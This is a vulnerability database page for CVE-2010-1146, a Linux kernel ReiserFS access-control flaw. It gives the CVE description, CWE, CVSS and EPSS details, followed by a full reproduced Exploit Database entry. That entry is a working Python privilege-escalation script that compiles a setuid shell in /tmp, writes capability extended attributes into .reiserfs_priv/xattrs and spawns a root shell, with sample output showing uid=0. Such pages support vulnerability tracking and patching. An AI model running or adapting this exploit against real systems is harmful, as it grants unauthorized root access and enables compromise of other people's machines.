CVE-2010-1146 Detail

CVE-2010-1146

OWSAP

A01-Broken Access Control

EPSS

0.08%V3

Vector

Local

Published

2010-04-12
16h00 +00:00

Modified

2017-08-16
12h57 +00:00

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CVE Descriptions

The Linux kernel 2.6.33.2 and earlier, when a ReiserFS filesystem exists, does not restrict read or write access to the .reiserfs_priv directory, which allows local users to gain privileges by modifying (1) extended attributes or (2) ACLs, as demonstrated by deleting a file under .reiserfs_priv/xattrs/.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-264	Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.9		AV:L/AC:M/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

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The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

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The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 12130

Publication date : 2010-04-08 22h00 +00:00
Author : Jon Oberheide
EDB Verified : Yes

#!/usr/bin/env python ''' team-edward.py Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation Jon Oberheide <[email protected]> http://jon.oberheide.org Information: https://bugzilla.redhat.com/show_bug.cgi?id=568041 The kernel allows processes to access the internal ".reiserfs_priv" directory at the top of a reiserfs filesystem which is used to store xattrs. Permissions are not enforced in that tree, so unprivileged users can view and potentially modify the xattrs on arbitrary files. Usage: $ python team-edward.py [+] checking for reiserfs mount with user_xattr mount option [+] checking for private xattrs directory at /.reiserfs_priv/xattrs [+] preparing shell in /tmp [+] capturing pre-shell snapshot of private xattrs directory [+] compiling shell in /tmp [+] setting dummy xattr to get reiserfs object id [+] capturing post-shell snapshot of private xattrs directory [+] found 1 new object ids [+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468 [+] spawning setuid shell... # id uid=0(root) gid=0(root) groups=4(adm), ... Notes: Obviously requires a ReiserFS filesystem mounted with extended attributes. Tested on Ubuntu Jaunty 9.10. ''' import os, sys SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }' XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' def err(txt): print '[-] error: %s' % txt sys.exit(1) def msg(txt): print '[+] %s' % txt def main(): msg('checking for reiserfs mount with user_xattr mount option') f = open('/etc/fstab') for line in f: if 'reiserfs' in line and 'user_xattr' in line: break else: err('failed to find a reiserfs mount with user_xattr') f.close() msg('checking for private xattrs directory at /.reiserfs_priv/xattrs') if not os.path.exists('/.reiserfs_priv/xattrs'): err('failed to locate private xattrs directory') msg('preparing shell in /tmp') f = open('/tmp/team-edward.c', 'w') f.write(SHELL) f.close() msg('capturing pre-shell snapshot of private xattrs directory') pre = set(os.listdir('/.reiserfs_priv/xattrs')) msg('compiling shell in /tmp') ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward') if ret != 0: err('error compiling shell, you need gcc') msg('setting dummy xattr to get reiserfs object id') os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward') if ret != 0: err('error setting xattr, you need setfattr') msg('capturing post-shell snapshot of private xattrs directory') post = set(os.listdir('/.reiserfs_priv/xattrs')) objs = post.difference(pre) msg('found %s new object ids' % len(objs)) for obj in objs: msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj) f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w') f.write(XATTR) f.close() msg('spawning setuid shell...') os.system('/tmp/team-edward') if __name__ == '__main__': main()